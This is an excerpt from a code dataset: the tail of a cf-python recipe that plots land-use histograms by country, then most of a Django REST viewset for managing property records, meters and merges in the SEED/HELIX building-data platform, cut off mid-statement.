cartopy.io.shapereader as shpreader\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# %%\n# 1. Import the required libraries. We will use Cartopy's ``shapereader`` to\n# work with shapefiles that define country boundaries:\nimport cf\n\n# %%\n# 2. Read and select land use data by index and see properties of all constructs:\nf = cf.read(\"~/recipes/output.tif.nc\")[0]\nf.dump()\n\n\n# %%\n# 3. Define a function to extract data for a specific country:\n#\n# - The ``extract_data`` function is defined to extract land use data for a\n# specific country, specified by the ``country_name`` parameter.\n# - It uses the `Natural Earth `_\n# shapefile to get the bounding coordinates of the selected country.\n# - The `shpreader.natural_earth `_\n# function is called to access the Natural\n# Earth shapefile of country boundaries with a resolution of 10 m.\n# - The `shpreader.Reader `_\n# function reads the shapefile, and the selected country's record is retrieved\n# by filtering the records based on the ``NAME_LONG`` attribute.\n# - The bounding coordinates are extracted using the ``bounds`` attribute of the\n# selected country record.\n# - The land use data file is then read and subset using these bounding\n# coordinates with the help of the ``subspace`` function. The subset data is\n# stored in the ``f`` variable.\n\n\ndef extract_data(country_name):\n shpfilename = shpreader.natural_earth(\n resolution=\"10m\", category=\"cultural\", name=\"admin_0_countries\"\n )\n reader = shpreader.Reader(shpfilename)\n country = [\n country\n for country in reader.records()\n if country.attributes[\"NAME_LONG\"] == country_name\n ][0]\n lon_min, lat_min, lon_max, lat_max = country.bounds\n\n f = cf.read(\"~/recipes/output.tif.nc\")[0]\n f = f.subspace(X=cf.wi(lon_min, lon_max), Y=cf.wi(lat_min, lat_max))\n\n return f\n\n\n# %%\n# 4. Define a function to plot a histogram of land use distribution for a\n# specific country:\n#\n# - The `digitize `_\n# function of the ``cf.Field`` object is called to convert the land use data\n# into indices of bins. It takes an array of bins (defined by\n# the `np.linspace `_ function)\n# and the ``return_bins=True`` parameter, which returns the actual bin values\n# along with the digitized data.\n# - The `np.linspace `_\n# function is used to create an array of evenly spaced bin edges from 0 to 50,\n# with 51 total values. This creates bins of width 1.\n# - The ``digitized`` variable contains the bin indices for each data point,\n# while the bins variable contains the actual bin values.\n# - The `cf.histogram `_\n# function is called on the digitized data to create a histogram. This\n# function returns a field object with the histogram data.\n# - The `squeeze `_\n# function applied to the histogram ``array`` extracts the histogram data as a NumPy\n# array and removes any single dimensions.\n# - The ``total_valid_sub_cells`` variable calculates the total number of valid\n# subcells (non-missing data points) by summing the histogram data.\n# - The last element of the bin_counts array is removed with slicing\n# (``bin_counts[:-1]``) to match the length of the ``bin_indices`` array.\n# - The ``percentages`` variable calculates the percentage of each bin by\n# dividing the ``bin_counts`` by the ``total_valid_sub_cells`` and multiplying\n# by 100.\n# - The ``bin_indices`` variable calculates the center of each bin by averaging\n# the bin edges. This is done by adding the ``bins.array[:-1, 0]`` and\n# ``bins.array[1:, 0]`` arrays and dividing by 2.\n# - The ``ax.bar`` function is called to plot the histogram as a bar chart on\n# the provided axis. The x-axis values are given by the ``bin_indices`` array,\n# and the y-axis values are given by the ``percentages`` array.\n# - The title, x-axis label, y-axis label, and axis limits are set based on the\n# input parameters.\n\n\ndef plot_histogram(field, ax, label, ylim, xlim):\n digitized, bins = field.digitize(np.linspace(0, 50, 51), return_bins=True)\n\n h = cf.histogram(digitized)\n bin_counts = h.array.squeeze()\n\n total_valid_sub_cells = bin_counts.sum()\n\n bin_counts = bin_counts[:-1]\n\n percentages = bin_counts / total_valid_sub_cells * 100\n\n bin_indices = (bins.array[:-1, 0] + bins.array[1:, 0]) / 2\n\n ax.bar(bin_indices, percentages, label=label)\n ax.set_title(label)\n ax.set_xlabel(\"Land Use Flag\")\n ax.set_ylabel(\"Percentage\")\n ax.set_ylim(ylim)\n ax.set_xlim(xlim)\n\n\n# %%\n# 5. Define the countries of interest:\ncountries = [\"Ireland\", \"Belgium\", \"Switzerland\"]\n\n# %%\n# 6. Set up the figure and axes for plotting the histograms:\n#\n# - The ``plt.subplots`` function is called to set up a figure with three\n# subplots, with a figure size of 8 inches by 10 inches.\n# - A loop iterates over each country in the countries list and for each\n# country, the ``extract_data`` function is called to extract its land use\n# data.\n# - The ``plot_histogram`` function is then called to plot the histogram of land\n# use distribution on the corresponding subplot.\n# - The ``plt.tight_layout`` function is called to ensure that the subplots are\n# properly spaced within the figure and finally, the ``plt.show`` function\n# displays the figure with the histograms.\nfig, axs = plt.subplots(3, 1, figsize=(8, 10))\n\nfor i, country in enumerate(countries):\n ax = axs[i]\n data = extract_data(country)\n plot_histogram(data, ax, label=country, ylim=(0, 50), xlim=(0, 50))\n\nplt.tight_layout()\nplt.show()\n","repo_name":"NCAS-CMS/cf-python","sub_path":"docs/_downloads/plot_15_recipe.py","file_name":"plot_15_recipe.py","file_ext":"py","file_size_in_byte":7301,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"9"} +{"seq_id":"19732021299","text":"import os\nfrom collections import namedtuple\n\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.db.models import Q, Subquery\nfrom django.http import HttpResponse, JsonResponse\nfrom django_filters import CharFilter, DateFilter\nfrom django_filters import rest_framework as filters\nfrom drf_yasg.utils import no_body, swagger_auto_schema\nfrom rest_framework import status, viewsets, generics\nfrom rest_framework.decorators import action\nfrom rest_framework.parsers import JSONParser, MultiPartParser\nfrom rest_framework.renderers import JSONRenderer\nfrom seed.building_sync.building_sync import BuildingSync\nfrom seed.data_importer.utils import usage_point_id\nfrom seed.decorators import ajax_request_class\nfrom seed.hpxml.hpxml import HPXML\nfrom seed.lib.superperms.orgs.decorators import has_perm_class\nfrom seed.lib.superperms.orgs.models import Organization\nfrom seed.models import (AUDIT_USER_EDIT, DATA_STATE_MATCHING,\n MERGE_STATE_DELETE, MERGE_STATE_MERGED,\n MERGE_STATE_NEW, VIEW_LIST, VIEW_LIST_PROPERTY,\n BuildingFile, Column, ColumnListProfile,\n ColumnListProfileColumn, ColumnMappingProfile, Cycle,\n Meter, Note, Property, PropertyAuditLog,\n PropertyMeasure, PropertyState, PropertyView,\n Simulation)\n# HELIX add\nfrom helix.models import HELIXGreenAssessmentProperty, HELIXGreenAssessment\nfrom helix.models import HELIXPropertyMeasure as PropertyMeasure\nfrom helix.models import HelixMeasurement\nfrom seed.serializers.certification import (\n GreenAssessmentPropertyReadOnlySerializer\n)\nfrom seed.serializers.measures import PropertyMeasureReadOnlySerializer\n# HELIX end add\n\nfrom seed.models import StatusLabel as Label\nfrom seed.models import TaxLotProperty, TaxLotView\nfrom seed.serializers.certification import GreenAssessmentPropertySerializer\nfrom seed.serializers.pint import (PintJSONEncoder,\n apply_display_unit_preferences)\nfrom seed.serializers.properties import (PropertySerializer,\n PropertyStateSerializer,\n PropertyViewAsStateSerializer,\n PropertyViewSerializer,\n UpdatePropertyPayloadSerializer)\nfrom seed.serializers.taxlots import TaxLotViewSerializer\nfrom seed.utils.api import OrgMixin, ProfileIdMixin, api_endpoint_class\nfrom seed.utils.api_schema import (AutoSchemaHelper,\n swagger_auto_schema_org_query_param)\nfrom seed.utils.labels import get_labels\nfrom seed.utils.match import match_merge_link\nfrom seed.utils.merge import merge_properties\nfrom seed.utils.meters import PropertyMeterReadingsExporter\nfrom seed.utils.properties import (get_changed_fields,\n pair_unpair_property_taxlot,\n properties_across_cycles,\n update_result_with_master)\n\n# Global toggle that controls whether or not to display the raw extra\n# data fields in the columns returned for the view.\nDISPLAY_RAW_EXTRADATA = True\nDISPLAY_RAW_EXTRADATA_TIME = True\n\nErrorState = namedtuple('ErrorState', ['status_code', 'message'])\n\n\nclass PropertyViewFilterBackend(filters.DjangoFilterBackend):\n \"\"\"\n Used to add filters to the `search` view\n I was unable to find a better way to add the filterset_class to a single view\n\n TODO: Add this to seed/filtersets.py or seed/filters.py\n \"\"\"\n def get_filterset_class(self, view, queryset=None):\n return PropertyViewFilterSet\n\n\nclass PropertyViewFilterSet(filters.FilterSet, OrgMixin):\n \"\"\"\n Advanced filtering for PropertyView sets\n\n TODO: Add this to seed/filtersets.py\n \"\"\"\n address_line_1 = CharFilter(field_name=\"state__address_line_1\", lookup_expr='contains')\n analysis_state = CharFilter(method='analysis_state_filter')\n identifier = CharFilter(method='identifier_filter')\n cycle_start = DateFilter(field_name='cycle__start', lookup_expr='lte')\n cycle_end = DateFilter(field_name='cycle__end', lookup_expr='gte')\n\n class Meta:\n model = PropertyView\n fields = ['identifier', 'address_line_1', 'cycle', 'property', 'cycle_start', 'cycle_end', 'analysis_state']\n\n def identifier_filter(self, queryset, name, value):\n address_line_1 = Q(state__address_line_1__icontains=value)\n jurisdiction_property_id = Q(state__jurisdiction_property_id__icontains=value)\n custom_id_1 = Q(state__custom_id_1__icontains=value)\n pm_property_id = Q(state__pm_property_id__icontains=value)\n ubid = Q(state__ubid__icontains=value)\n\n query = (\n address_line_1 |\n jurisdiction_property_id |\n custom_id_1 |\n pm_property_id |\n ubid\n )\n return queryset.filter(query).order_by('-state__id')\n\n def analysis_state_filter(self, queryset, name, value):\n # For some reason a ChoiceFilter doesn't work on this object. I wanted to have it\n # magically look up the map from the analysis_state string to the analysis_state ID, but\n # it isn't working. Forcing it manually.\n\n # If the user puts in a bogus filter, then it will return All, for now\n\n state_id = None\n for state in PropertyState.ANALYSIS_STATE_TYPES:\n if state[1].upper() == value.upper():\n state_id = state[0]\n break\n\n if state_id is not None:\n return queryset.filter(Q(state__analysis_state__exact=state_id)).order_by('-state__id')\n else:\n return queryset.order_by('-state__id')\n\n\nclass PropertyViewSet(generics.GenericAPIView, viewsets.ViewSet, OrgMixin, ProfileIdMixin):\n renderer_classes = (JSONRenderer,)\n parser_classes = (JSONParser,)\n serializer_class = PropertySerializer\n _organization = None\n\n # For the Swagger page, GenericAPIView asserts a value exists for `queryset`\n queryset = PropertyView.objects.none()\n\n @action(detail=False, filter_backends=[PropertyViewFilterBackend])\n def search(self, request):\n \"\"\"\n Filters the property views accessible to the user.\n This is different from the properties/filter API because of the available\n filtering parameters and because this view does not use list views for rendering\n \"\"\"\n # here be dragons\n org_id = self.get_organization(self.request)\n qs = PropertyView.objects.filter(property__organization_id=org_id).order_by('-state__id')\n # this is the entrypoint to the filtering backend\n # https://www.django-rest-framework.org/api-guide/filtering/#custom-generic-filtering\n qs = self.filter_queryset(qs)\n # converting QuerySet to list b/c serializer will only use column list profile this way\n return JsonResponse(\n PropertyViewAsStateSerializer(list(qs), context={'request': request}, many=True).data,\n safe=False,\n )\n\n def _get_filtered_results(self, request, profile_id):\n page = request.query_params.get('page', 1)\n per_page = request.query_params.get('per_page', 1)\n org_id = self.get_organization(request)\n cycle_id = request.query_params.get('cycle')\n # check if there is a query paramater for the profile_id. If so, then use that one\n profile_id = request.query_params.get('profile_id', profile_id)\n\n if not org_id:\n return JsonResponse(\n {'status': 'error', 'message': 'Need to pass organization_id as query parameter'},\n status=status.HTTP_400_BAD_REQUEST)\n\n if cycle_id:\n cycle = Cycle.objects.get(organization_id=org_id, pk=cycle_id)\n else:\n cycle = Cycle.objects.filter(organization_id=org_id).order_by('name')\n if cycle:\n cycle = cycle.first()\n else:\n return JsonResponse({\n 'status': 'error',\n 'message': 'Could not locate cycle',\n 'pagination': {\n 'total': 0\n },\n 'cycle_id': None,\n 'results': []\n })\n\n # Return property views limited to the 'property_view_ids' list. Otherwise, if selected is empty, return all\n if 'property_view_ids' in request.data and request.data['property_view_ids']:\n property_views_list = PropertyView.objects.select_related('property', 'state', 'cycle') \\\n .filter(id__in=request.data['property_view_ids'],\n property__organization_id=org_id, cycle=cycle) \\\n .order_by('id') # TODO: test adding .only(*fields['PropertyState'])\n else:\n property_views_list = PropertyView.objects.select_related('property', 'state', 'cycle') \\\n .filter(property__organization_id=org_id, cycle=cycle) \\\n .order_by('id') # TODO: test adding .only(*fields['PropertyState'])\n\n paginator = Paginator(property_views_list, per_page)\n\n try:\n property_views = paginator.page(page)\n page = int(page)\n except PageNotAnInteger:\n property_views = paginator.page(1)\n page = 1\n except EmptyPage:\n property_views = paginator.page(paginator.num_pages)\n page = paginator.num_pages\n\n org = Organization.objects.get(pk=org_id)\n\n # Retrieve all the columns that are in the db for this organization\n columns_from_database = Column.retrieve_all(org_id, 'property', False)\n\n # This uses an old method of returning the show_columns. There is a new method that\n # is prefered in v2.1 API with the ProfileIdMixin.\n if profile_id is None:\n show_columns = None\n elif profile_id == -1:\n show_columns = list(Column.objects.filter(\n organization_id=org_id\n ).values_list('id', flat=True))\n else:\n try:\n profile = ColumnListProfile.objects.get(\n organization=org,\n id=profile_id,\n profile_location=VIEW_LIST,\n inventory_type=VIEW_LIST_PROPERTY\n )\n show_columns = list(ColumnListProfileColumn.objects.filter(\n column_list_profile_id=profile.id\n ).values_list('column_id', flat=True))\n except ColumnListProfile.DoesNotExist:\n show_columns = None\n\n related_results = TaxLotProperty.get_related(property_views, show_columns,\n columns_from_database)\n\n # collapse units here so we're only doing the last page; we're already a\n # realized list by now and not a lazy queryset\n unit_collapsed_results = [apply_display_unit_preferences(org, x) for x in related_results]\n\n response = {\n 'pagination': {\n 'page': page,\n 'start': paginator.page(page).start_index(),\n 'end': paginator.page(page).end_index(),\n 'num_pages': paginator.num_pages,\n 'has_next': paginator.page(page).has_next(),\n 'has_previous': paginator.page(page).has_previous(),\n 'total': paginator.count\n },\n 'cycle_id': cycle.id,\n 'results': unit_collapsed_results\n }\n\n return JsonResponse(response)\n\n def _move_relationships(self, old_state, new_state):\n \"\"\"\n In general, we move the old relationships to the new state since the old state should not be\n accessible anymore. If we ever unmerge, then we need to decide who gets the data.. both?\n\n :param old_state: PropertyState\n :param new_state: PropertyState\n :return: PropertyState, updated new_state\n \"\"\"\n for s in old_state.scenarios.all():\n s.property_state = new_state\n s.save()\n\n # Move the measures to the new state\n for m in PropertyMeasure.objects.filter(property_state=old_state):\n m.property_state = new_state\n m.save()\n\n # Move the old building file to the new state to preserve the history\n for b in old_state.building_files.all():\n b.property_state = new_state\n b.save()\n\n for s in Simulation.objects.filter(property_state=old_state):\n s.property_state = new_state\n s.save()\n\n return new_state\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field(required=True)],\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'selected': ['integer'],\n },\n description='IDs for properties to be checked for which labels are applied.'\n )\n )\n @has_perm_class('requires_viewer')\n @action(detail=False, methods=['POST'])\n def labels(self, request):\n \"\"\"\n Returns a list of all labels where the is_applied field\n in the response pertains to the labels applied to property_view\n \"\"\"\n labels = Label.objects.filter(\n super_organization=self.get_parent_org(self.request)\n ).order_by(\"name\").distinct()\n super_organization = self.get_organization(request)\n # TODO: refactor to avoid passing request here\n return get_labels(request, labels, super_organization, 'property_view')\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field(required=True)],\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'interval': 'string',\n 'excluded_meter_ids': ['integer'],\n },\n required=['property_view_id', 'interval', 'excluded_meter_ids'],\n description='Properties:\\n'\n '- interval: one of \"Exact\", \"Month\", or \"Year\"\\n'\n '- excluded_meter_ids: array of meter IDs to exclude'\n )\n )\n @ajax_request_class\n @has_perm_class('requires_member')\n @action(detail=True, methods=['POST'])\n def meter_usage(self, request, pk):\n \"\"\"\n Retrieves meter usage information\n \"\"\"\n body = dict(request.data)\n interval = body['interval']\n excluded_meter_ids = body['excluded_meter_ids']\n org_id = self.get_organization(request)\n\n property_view = PropertyView.objects.get(\n pk=pk,\n cycle__organization_id=org_id\n )\n property_id = property_view.property.id\n scenario_ids = [s.id for s in property_view.state.scenarios.all()]\n\n exporter = PropertyMeterReadingsExporter(property_id, org_id, excluded_meter_ids, scenario_ids=scenario_ids)\n\n return exporter.readings_and_column_defs(interval)\n\n @swagger_auto_schema_org_query_param\n @ajax_request_class\n @has_perm_class('requires_viewer')\n @action(detail=True, methods=['GET'])\n def meters(self, request, pk):\n \"\"\"\n Retrieves meters for the property\n \"\"\"\n org_id = self.get_organization(request)\n\n property_view = PropertyView.objects.get(\n pk=pk,\n cycle__organization_id=org_id\n )\n property_id = property_view.property.id\n scenario_ids = [s.id for s in property_view.state.scenarios.all()]\n energy_types = dict(Meter.ENERGY_TYPES)\n\n res = []\n for meter in Meter.objects.filter(Q(property_id=property_id) | Q(scenario_id__in=scenario_ids)):\n if meter.source == meter.GREENBUTTON:\n source = 'GB'\n source_id = usage_point_id(meter.source_id)\n elif meter.source == meter.BUILDINGSYNC:\n source = 'BS'\n source_id = meter.source_id\n else:\n source = 'PM'\n source_id = meter.source_id\n\n res.append({\n 'id': meter.id,\n 'type': energy_types[meter.type],\n 'source': source,\n 'source_id': source_id,\n 'scenario_id': meter.scenario.id if meter.scenario is not None else None,\n 'scenario_name': meter.scenario.name if meter.scenario is not None else None\n })\n\n return res\n\n @swagger_auto_schema(\n manual_parameters=[\n AutoSchemaHelper.query_org_id_field(),\n AutoSchemaHelper.query_integer_field(\n 'cycle',\n required=False,\n description='The ID of the cycle to get properties'\n ),\n AutoSchemaHelper.query_integer_field(\n 'per_page',\n required=False,\n description='Number of properties per page'\n ),\n AutoSchemaHelper.query_integer_field(\n 'page',\n required=False,\n description='Page to fetch'\n ),\n ]\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('requires_viewer')\n def list(self, request):\n \"\"\"\n List all the properties\twith all columns\n \"\"\"\n return self._get_filtered_results(request, profile_id=-1)\n\n @swagger_auto_schema(\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'organization_id': 'integer',\n 'profile_id': 'integer',\n 'cycle_ids': ['integer'],\n },\n required=['organization_id', 'cycle_ids'],\n description='Properties:\\n'\n '- organization_id: ID of organization\\n'\n '- profile_id: Either an id of a list settings profile, '\n 'or undefined\\n'\n '- cycle_ids: The IDs of the cycle to get properties'\n )\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('requires_viewer')\n @action(detail=False, methods=['POST'])\n def filter_by_cycle(self, request):\n \"\"\"\n List all the properties\twith all columns\n \"\"\"\n # NOTE: we are using a POST http method b/c swagger and django handle\n # arrays differently in query parameters. ie this is just simpler\n org_id = self.get_organization(request)\n profile_id = request.data.get('profile_id', -1)\n cycle_ids = request.data.get('cycle_ids', [])\n\n if not org_id:\n return JsonResponse(\n {'status': 'error', 'message': 'Need to pass organization_id as query parameter'},\n status=status.HTTP_400_BAD_REQUEST)\n\n response = properties_across_cycles(org_id, profile_id, cycle_ids)\n\n return JsonResponse(response)\n\n @swagger_auto_schema(\n manual_parameters=[\n AutoSchemaHelper.query_org_id_field(),\n AutoSchemaHelper.query_integer_field(\n 'cycle',\n required=False,\n description='The ID of the cycle to get properties'),\n AutoSchemaHelper.query_integer_field(\n 'per_page',\n required=False,\n description='Number of properties per page'\n ),\n AutoSchemaHelper.query_integer_field(\n 'page',\n required=False,\n description='Page to fetch'\n ),\n ],\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'profile_id': 'integer',\n 'property_view_ids': ['integer'],\n },\n description='Properties:\\n'\n '- profile_id: Either an id of a list settings profile, or undefined\\n'\n '- property_view_ids: List of property view ids'\n )\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('requires_viewer')\n @action(detail=False, methods=['POST'])\n def filter(self, request):\n \"\"\"\n List all the properties\n \"\"\"\n if 'profile_id' not in request.data:\n profile_id = None\n else:\n if request.data['profile_id'] == 'None':\n profile_id = None\n else:\n profile_id = request.data['profile_id']\n\n # ensure that profile_id is an int\n try:\n profile_id = int(profile_id)\n except TypeError:\n pass\n\n return self._get_filtered_results(request, profile_id=profile_id)\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field(required=True)],\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'property_view_ids': ['integer']\n },\n required=['property_view_ids'],\n description='Properties:\\n'\n '- property_view_ids: array containing Property view IDs.'\n )\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('requires_viewer')\n @action(detail=False, methods=['POST'])\n def meters_exist(self, request):\n \"\"\"\n Check to see if the given Properties (given by ID) have Meters.\n \"\"\"\n org_id = self.get_organization(request)\n property_view_ids = request.data.get('property_view_ids', [])\n property_views = PropertyView.objects.filter(\n id__in=property_view_ids,\n cycle__organization_id=org_id\n )\n\n # Check that property_view_ids given are all contained within given org.\n if (property_views.count() != len(property_view_ids)) or len(property_view_ids) == 0:\n return {\n 'status': 'error',\n 'message': 'Cannot check meters for given records.'\n }\n\n return Meter.objects.filter(property_id__in=Subquery(property_views.values('property_id'))).exists()\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field()],\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'property_view_ids': ['integer']\n },\n required=['property_view_ids'],\n description='Array containing property view ids to merge'),\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n @action(detail=False, methods=['POST'])\n def merge(self, request):\n \"\"\"\n Merge multiple property records into a single new record, and run this\n new record through a match and merge round within it's current Cycle.\n \"\"\"\n body = request.data\n organization_id = int(self.get_organization(request))\n\n property_view_ids = body.get('property_view_ids', [])\n property_states = PropertyView.objects.filter(\n id__in=property_view_ids,\n cycle__organization_id=organization_id\n ).values('id', 'state_id')\n # get the state ids in order according to the given view ids\n property_states_dict = {p['id']: p['state_id'] for p in property_states}\n property_state_ids = [\n property_states_dict[view_id]\n for view_id in property_view_ids if view_id in property_states_dict\n ]\n\n if len(property_state_ids) != len(property_view_ids):\n return {\n 'status': 'error',\n 'message': 'All records not found.'\n }\n\n # Check the number of state_ids to merge\n if len(property_state_ids) < 2:\n return JsonResponse({\n 'status': 'error',\n 'message': 'At least two ids are necessary to merge'\n }, status=status.HTTP_400_BAD_REQUEST)\n\n merged_state = merge_properties(property_state_ids, organization_id, 'Manual Match')\n\n merge_count, link_count, view_id = match_merge_link(merged_state.propertyview_set.first().id, 'PropertyState')\n\n result = {\n 'status': 'success'\n }\n\n result.update({\n 'match_merged_count': merge_count,\n 'match_link_count': link_count,\n })\n\n return result\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field()],\n request_body=no_body,\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n @action(detail=True, methods=['PUT'])\n def unmerge(self, request, pk=None):\n \"\"\"\n Unmerge a property view into two property views\n \"\"\"\n try:\n old_view = PropertyView.objects.select_related(\n 'property', 'cycle', 'state'\n ).get(\n id=pk,\n property__organization_id=self.get_organization(request)\n )\n except PropertyView.DoesNotExist:\n return {\n 'status': 'error',\n 'message': 'property view with id {} does not exist'.format(pk)\n }\n\n # Duplicate pairing\n paired_view_ids = list(TaxLotProperty.objects.filter(property_view_id=old_view.id)\n .order_by('taxlot_view_id').values_list('taxlot_view_id', flat=True))\n\n # Capture previous associated labels\n label_ids = list(old_view.labels.all().values_list('id', flat=True))\n\n notes = old_view.notes.all()\n for note in notes:\n note.property_view = None\n\n merged_state = old_view.state\n if merged_state.data_state != DATA_STATE_MATCHING or merged_state.merge_state != MERGE_STATE_MERGED:\n return {\n 'status': 'error',\n 'message': 'property view with id {} is not a merged property view'.format(pk)\n }\n\n log = PropertyAuditLog.objects.select_related('parent_state1', 'parent_state2').filter(\n state=merged_state\n ).order_by('-id').first()\n\n if log.parent_state1 is None or log.parent_state2 is None:\n return {\n 'status': 'error',\n 'message': 'property view with id {} must have two parent states'.format(pk)\n }\n\n state1 = log.parent_state1\n state2 = log.parent_state2\n cycle_id = old_view.cycle_id\n\n # Clone the property record twice, then copy over meters\n old_property = old_view.property\n new_property = old_property\n new_property.id = None\n new_property.save()\n\n new_property_2 = Property.objects.get(pk=new_property.id)\n new_property_2.id = None\n new_property_2.save()\n\n Property.objects.get(pk=new_property.id).copy_meters(old_view.property_id)\n Property.objects.get(pk=new_property_2.id).copy_meters(old_view.property_id)\n\n # If canonical Property is NOT associated to a different -View, delete it\n if not PropertyView.objects.filter(property_id=old_view.property_id).exclude(id=old_view.id).exists():\n Property.objects.get(pk=old_view.property_id).delete()\n\n # Create the views\n new_view1 = PropertyView(\n cycle_id=cycle_id,\n property_id=new_property.id,\n state=state1\n )\n new_view2 = PropertyView(\n cycle_id=cycle_id,\n property_id=new_property_2.id,\n state=state2\n )\n\n # Mark the merged state as deleted\n merged_state.merge_state = MERGE_STATE_DELETE\n merged_state.save()\n\n # Change the merge_state of the individual states\n if log.parent1.name in ['Import Creation',\n 'Manual Edit'] and log.parent1.import_filename is not None:\n # State belongs to a new record\n state1.merge_state = MERGE_STATE_NEW\n else:\n state1.merge_state = MERGE_STATE_MERGED\n if log.parent2.name in ['Import Creation',\n 'Manual Edit'] and log.parent2.import_filename is not None:\n # State belongs to a new record\n state2.merge_state = MERGE_STATE_NEW\n else:\n state2.merge_state = MERGE_STATE_MERGED\n # In most cases data_state will already be 3 (DATA_STATE_MATCHING), but if one of the parents was a\n # de-duplicated record then data_state will be 0. This step ensures that the new states will be 3.\n state1.data_state = DATA_STATE_MATCHING\n state2.data_state = DATA_STATE_MATCHING\n state1.save()\n state2.save()\n\n # Delete the audit log entry for the merge\n log.delete()\n\n old_view.delete()\n new_view1.save()\n new_view2.save()\n\n # Asssociate labels\n label_objs = Label.objects.filter(pk__in=label_ids)\n new_view1.labels.set(label_objs)\n new_view2.labels.set(label_objs)\n\n # Duplicate notes to the new views\n for note in notes:\n created = note.created\n updated = note.updated\n note.id = None\n note.property_view = new_view1\n note.save()\n ids = [note.id]\n note.id = None\n note.property_view = new_view2\n note.save()\n ids.append(note.id)\n # Correct the created and updated times to match the original note\n Note.objects.filter(id__in=ids).update(created=created, updated=updated)\n\n for paired_view_id in paired_view_ids:\n TaxLotProperty(primary=True,\n cycle_id=cycle_id,\n property_view_id=new_view1.id,\n taxlot_view_id=paired_view_id).save()\n TaxLotProperty(primary=True,\n cycle_id=cycle_id,\n property_view_id=new_view2.id,\n taxlot_view_id=paired_view_id).save()\n\n return {\n 'status': 'success',\n 'view_id': new_view1.id\n }\n\n @swagger_auto_schema_org_query_param\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('requires_viewer')\n @action(detail=True, methods=['GET'])\n def links(self, request, pk=None):\n \"\"\"\n Get property details for each linked property across org cycles\n \"\"\"\n organization_id = self.get_organization(request)\n base_view = PropertyView.objects.select_related('cycle').filter(\n pk=pk,\n cycle__organization_id=organization_id\n )\n\n if base_view.exists():\n result = {'data': []}\n\n # Grab extra_data columns to be shown in the results\n all_extra_data_columns = Column.objects.filter(\n organization_id=organization_id,\n is_extra_data=True,\n table_name='PropertyState'\n ).values_list('column_name', flat=True)\n\n linked_views = PropertyView.objects.select_related('cycle').filter(\n property_id=base_view.get().property_id,\n cycle__organization_id=organization_id\n ).order_by('-cycle__start')\n for linked_view in linked_views:\n state_data = PropertyStateSerializer(\n linked_view.state,\n all_extra_data_columns=all_extra_data_columns\n ).data\n\n state_data['cycle_id'] = linked_view.cycle.id\n state_data['view_id'] = linked_view.id\n result['data'].append(state_data)\n\n return JsonResponse(result, encoder=PintJSONEncoder, status=status.HTTP_200_OK)\n else:\n result = {\n 'status': 'error',\n 'message': 'property view with id {} does not exist in given organization'.format(pk)\n }\n return JsonResponse(result)\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field()],\n request_body=no_body\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n @action(detail=True, methods=['POST'])\n def match_merge_link(self, request, pk=None):\n \"\"\"\n Runs match merge link for an individual property.\n\n Note that this method can return a view_id of None if the given -View\n was not involved in a merge.\n \"\"\"\n org_id = self.get_organization(request)\n\n property_view = PropertyView.objects.get(\n pk=pk,\n cycle__organization_id=org_id\n )\n merge_count, link_count, view_id = match_merge_link(property_view.id, 'PropertyState')\n\n result = {\n 'view_id': view_id,\n 'match_merged_count': merge_count,\n 'match_link_count': link_count,\n }\n\n return JsonResponse(result)\n\n @swagger_auto_schema(\n manual_parameters=[\n AutoSchemaHelper.query_org_id_field(),\n AutoSchemaHelper.query_integer_field(\n 'taxlot_id',\n required=True,\n description='The taxlot id to pair up with this property',\n ),\n ],\n request_body=no_body,\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n @action(detail=True, methods=['PUT'])\n def pair(self, request, pk=None):\n \"\"\"\n Pair a taxlot to this property\n \"\"\"\n organization_id = int(self.get_organization(request))\n property_id = int(pk)\n taxlot_id = int(request.query_params.get('taxlot_id'))\n return pair_unpair_property_taxlot(property_id, taxlot_id, organization_id, True)\n\n @swagger_auto_schema(\n manual_parameters=[\n AutoSchemaHelper.query_org_id_field(),\n AutoSchemaHelper.query_integer_field(\n 'taxlot_id',\n required=True,\n description='The taxlot id to unpair from this property',\n ),\n ],\n request_body=no_body,\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n @action(detail=True, methods=['PUT'])\n def unpair(self, request, pk=None):\n \"\"\"\n Unpair a taxlot from this property\n \"\"\"\n organization_id = int(self.get_organization(request))\n property_id = int(pk)\n taxlot_id = int(request.query_params.get('taxlot_id'))\n return pair_unpair_property_taxlot(property_id, taxlot_id, organization_id, False)\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field()],\n request_body=AutoSchemaHelper.schema_factory(\n {\n 'property_view_ids': ['integer']\n },\n required=['property_view_ids'],\n description='A list of property view ids to delete')\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n @action(detail=False, methods=['DELETE'])\n def batch_delete(self, request):\n \"\"\"\n Batch delete several properties\n \"\"\"\n org_id = self.get_organization(request)\n\n property_view_ids = request.data.get('property_view_ids', [])\n property_state_ids = PropertyView.objects.filter(\n id__in=property_view_ids,\n cycle__organization_id=org_id\n ).values_list('state_id', flat=True)\n resp = 